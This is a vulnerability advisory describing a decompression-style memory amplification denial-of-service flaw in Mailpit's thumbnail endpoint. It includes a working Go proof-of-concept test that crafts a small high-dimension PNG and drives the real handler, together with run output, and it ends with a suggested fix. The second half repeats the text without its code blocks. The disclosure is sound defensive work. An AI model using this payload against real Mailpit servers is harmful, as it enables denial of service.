Summary
Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request /api/v1/message/{id}/part/{partID}/thumb to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.
Technical Details
The route is registered as GET /api/v1/message/{id}/part/{partID}/thumb in server/server.go. The handler in server/apiv1/thumbnails.go loads the requested attachment and accepts any part whose content type begins with image/:
a, err := storage.GetAttachmentPart(id, partID)
// ...
if !strings.HasPrefix(a.ContentType, "image/") {
blankImage(a, w)
return
}
buf := bytes.NewBuffer(a.Content)
img, err := imaging.Decode(buf, imaging.AutoOrientation(true))
storage.GetAttachmentPart() reparses the stored raw email and returns the matching attacker-supplied attachment bytes. Thumbnail() then calls imaging.Decode() before any check on declared dimensions or estimated decoded bytes. The subsequent imaging.Fill(img, 180, 120, ...), imaging.Clone(), and JPEG encode only happen after the full image has already been decoded.
The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.
The UI also naturally reaches this endpoint for image attachments. server/ui-src/components/message/MessageAttachments.vue uses /api/v1/message/{message.ID}/part/{part.PartID}/thumb as the <img src> for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.
PoV
The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual PartID, and call Thumbnail().
The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.
package apiv1
import (
"bytes"
"compress/zlib"
"encoding/base64"
"encoding/binary"
"fmt"
"hash/crc32"
"net/http"
"net/http/httptest"
"path/filepath"
"strings"
"testing"
"github.com/axllent/mailpit/config"
"github.com/axllent/mailpit/internal/logger"
"github.com/axllent/mailpit/internal/storage"
"github.com/kovidgoyal/imaging"
)
func pngChunk(kind string, data []byte) []byte {
var out bytes.Buffer
_ = binary.Write(&out, binary.BigEndian, uint32(len(data)))
out.WriteString(kind)
out.Write(data)
crc := crc32.NewIEEE()
crc.Write([]byte(kind))
crc.Write(data)
_ = binary.Write(&out, binary.BigEndian, crc.Sum32())
return out.Bytes()
}
func solidRGBApng(width, height int) []byte {
var out bytes.Buffer
out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))
ihdr[8] = 8
ihdr[9] = 6
out.Write(pngChunk("IHDR", ihdr))
var compressed bytes.Buffer
zw := zlib.NewWriter(&compressed)
row := make([]byte, 1+width*4)
for i := 0; i < height; i++ {
_, _ = zw.Write(row)
}
_ = zw.Close()
out.Write(pngChunk("IDAT", compressed.Bytes()))
out.Write(pngChunk("IEND", nil))
return out.Bytes()
}
func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))
if err != nil {
t.Fatalf("decode failed: %v", err)
}
thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)
if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {
t.Fatalf("unexpected thumbnail bounds: %v", thumb.Bounds())
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))
})
}
}
func TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {
logger.NoLogging = true
config.Database = filepath.Join(t.TempDir(), "mailpit.db")
config.Compression = 0
config.TenantID = ""
config.MaxMessages = 0
if err := storage.InitDB(); err != nil {
t.Fatalf("InitDB failed: %v", err)
}
defer storage.Close()
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
raw := []byte(fmt.Sprintf("From: sender@example.test\r\nTo: victim@example.test\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"pov-boundary\"\r\n\r\n--pov-boundary\r\nContent-Type: text/plain\r\n\r\nbody\r\n--pov-boundary\r\nContent-Type: image/png; name=\"pov.png\"\r\nContent-Disposition: attachment; filename=\"pov.png\"\r\nContent-Transfer-Encoding: base64\r\n\r\n%s\r\n--pov-boundary--\r\n", tc.name, wrapBase64(payload)))
id, err := storage.Store(&raw, nil)
if err != nil {
t.Fatalf("Store failed: %v", err)
}
msg, err := storage.GetMessage(id)
if err != nil {
t.Fatalf("GetMessage failed: %v", err)
}
if len(msg.Attachments) != 1 {
t.Fatalf("attachments=%d, want 1", len(msg.Attachments))
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/message/"+id+"/part/"+msg.Attachments[0].PartID+"/thumb", nil)
req.SetPathValue("id", id)
req.SetPathValue("partID", msg.Attachments[0].PartID)
rr := httptest.NewRecorder()
Thumbnail(rr, req)
if rr.Code != http.StatusOK {
t.Fatalf("Thumbnail status=%d body=%q", rr.Code, rr.Body.String())
}
if ct := rr.Header().Get("Content-Type"); ct != "image/jpeg" {
t.Fatalf("Content-Type=%q, want image/jpeg", ct)
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())
})
}
}
func wrapBase64(b []byte) string {
encoded := base64.StdEncoding.EncodeToString(b)
var lines []string
for len(encoded) > 76 {
lines = append(lines, encoded[:76])
encoded = encoded[76:]
}
if encoded != "" {
lines = append(lines, encoded)
}
return strings.Join(lines, "\r\n")
}
PoC
From a Mailpit checkout, save the test above as server/apiv1/thumbnail_dimension_pov_test.go and run:
docker run --rm -v "$PWD:/src" -w /src golang:1.25 go test ./server/apiv1 -run 'TestThumbnail.*DimensionAmplificationPoV' -v
On current develop commit cd7661fd5b23cce1e218b583b21e157cfa612051, the relevant output is:
=== RUN TestThumbnailDecodeDimensionAmplificationPoV
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x
--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)
=== RUN TestThumbnailHandlerDimensionAmplificationPoV
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977
--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)
PASS
ok github.com/axllent/mailpit/server/apiv1 0.781s
The same test against v1.30.3 commit 6acf5b8f942ab0e007b1227d31dfb3c3303e8d13 prints the same amplification:
=== RUN TestThumbnailDecodeDimensionAmplificationPoV
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x
=== RUN TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x
--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)
=== RUN TestThumbnailHandlerDimensionAmplificationPoV
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/negative-control
thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977
=== RUN TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment
thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977
--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)
PASS
ok github.com/axllent/mailpit/server/apiv1 0.805s
The negative-control case shows ordinary thumbnail generation still works. The oversized-attachment handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.
Impact
An unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.
The safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.
Suggested Fix
Reject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling imaging.Decode() or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.
Apply the cap to all supported image formats and to both inline and regular attachments returned by GetAttachmentPart(). Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed image/* attachment.
Affected Package/Versions
Confirmed affected:
- Current
develop: cd7661fd5b23cce1e218b583b21e157cfa612051
- Latest release:
v1.30.3, tag commit 6acf5b8f942ab0e007b1227d31dfb3c3303e8d13, published 2026-06-27
Advisory History
The closest published Mailpit advisories are the resource-consumption reports GHSA-fpxj-m5q8-fphw and GHSA-28pq-6qxg-wg5r. GHSA-fpxj-m5q8-fphw covers unlimited SMTP DATA and /api/v1/send body sizes, while GHSA-28pq-6qxg-wg5r covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.
Other published Mailpit advisories checked were GHSA-w4vj-r5pg-3722 for proxy CSS map concurrency, GHSA-qx5x-85p8-vg4j for dump path traversal, GHSA-54wq-72mp-cq7c for SMTP header injection, GHSA-524m-q5m7-79mm for CSWSH, and the SSRF/proxy/link-check/html-check family GHSA-8v65-47jx-7mfr, GHSA-mpf7-p9x7-96r3, GHSA-6jxm-fv7w-rw5j, GHSA-j3fj-qppj-fmmc, and GHSA-w4mc-hhc6-xp28. None describe decoded thumbnail image dimensions or pixel-budget enforcement.
Public issue searches in axllent/mailpit for thumbnail/image memory, imaging Decode thumbnail, and image attachment thumbnail DoS terms found no matching issue. A commit search found b9f36312d750bdc59497a08fd9f4039925afd54e, "Fix: Avoid error on image type assertion in thumbnail generation"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.
References
Summary
Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request
/api/v1/message/{id}/part/{partID}/thumbto force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.Technical Details
The route is registered as
GET /api/v1/message/{id}/part/{partID}/thumbinserver/server.go. The handler inserver/apiv1/thumbnails.goloads the requested attachment and accepts any part whose content type begins withimage/:storage.GetAttachmentPart()reparses the stored raw email and returns the matching attacker-supplied attachment bytes.Thumbnail()then callsimaging.Decode()before any check on declared dimensions or estimated decoded bytes. The subsequentimaging.Fill(img, 180, 120, ...),imaging.Clone(), and JPEG encode only happen after the full image has already been decoded.The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.
The UI also naturally reaches this endpoint for image attachments.
server/ui-src/components/message/MessageAttachments.vueuses/api/v1/message/{message.ID}/part/{part.PartID}/thumbas the<img src>for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.PoV
The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual
PartID, and callThumbnail().The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.
PoC
From a Mailpit checkout, save the test above as
server/apiv1/thumbnail_dimension_pov_test.goand run:On current
developcommitcd7661fd5b23cce1e218b583b21e157cfa612051, the relevant output is:The same test against
v1.30.3commit6acf5b8f942ab0e007b1227d31dfb3c3303e8d13prints the same amplification:The
negative-controlcase shows ordinary thumbnail generation still works. Theoversized-attachmenthandler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.Impact
An unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.
The safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.
Suggested Fix
Reject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling
imaging.Decode()or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.Apply the cap to all supported image formats and to both inline and regular attachments returned by
GetAttachmentPart(). Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformedimage/*attachment.Affected Package/Versions
Confirmed affected:
develop:cd7661fd5b23cce1e218b583b21e157cfa612051v1.30.3, tag commit6acf5b8f942ab0e007b1227d31dfb3c3303e8d13, published 2026-06-27Advisory History
The closest published Mailpit advisories are the resource-consumption reports
GHSA-fpxj-m5q8-fphwandGHSA-28pq-6qxg-wg5r.GHSA-fpxj-m5q8-fphwcovers unlimited SMTP DATA and/api/v1/sendbody sizes, whileGHSA-28pq-6qxg-wg5rcovers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.Other published Mailpit advisories checked were
GHSA-w4vj-r5pg-3722for proxy CSS map concurrency,GHSA-qx5x-85p8-vg4jfor dump path traversal,GHSA-54wq-72mp-cq7cfor SMTP header injection,GHSA-524m-q5m7-79mmfor CSWSH, and the SSRF/proxy/link-check/html-check familyGHSA-8v65-47jx-7mfr,GHSA-mpf7-p9x7-96r3,GHSA-6jxm-fv7w-rw5j,GHSA-j3fj-qppj-fmmc, andGHSA-w4mc-hhc6-xp28. None describe decoded thumbnail image dimensions or pixel-budget enforcement.Public issue searches in
axllent/mailpitfor thumbnail/image memory,imaging Decode thumbnail, and image attachment thumbnail DoS terms found no matching issue. A commit search foundb9f36312d750bdc59497a08fd9f4039925afd54e, "Fix: Avoid error on image type assertion in thumbnail generation"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.References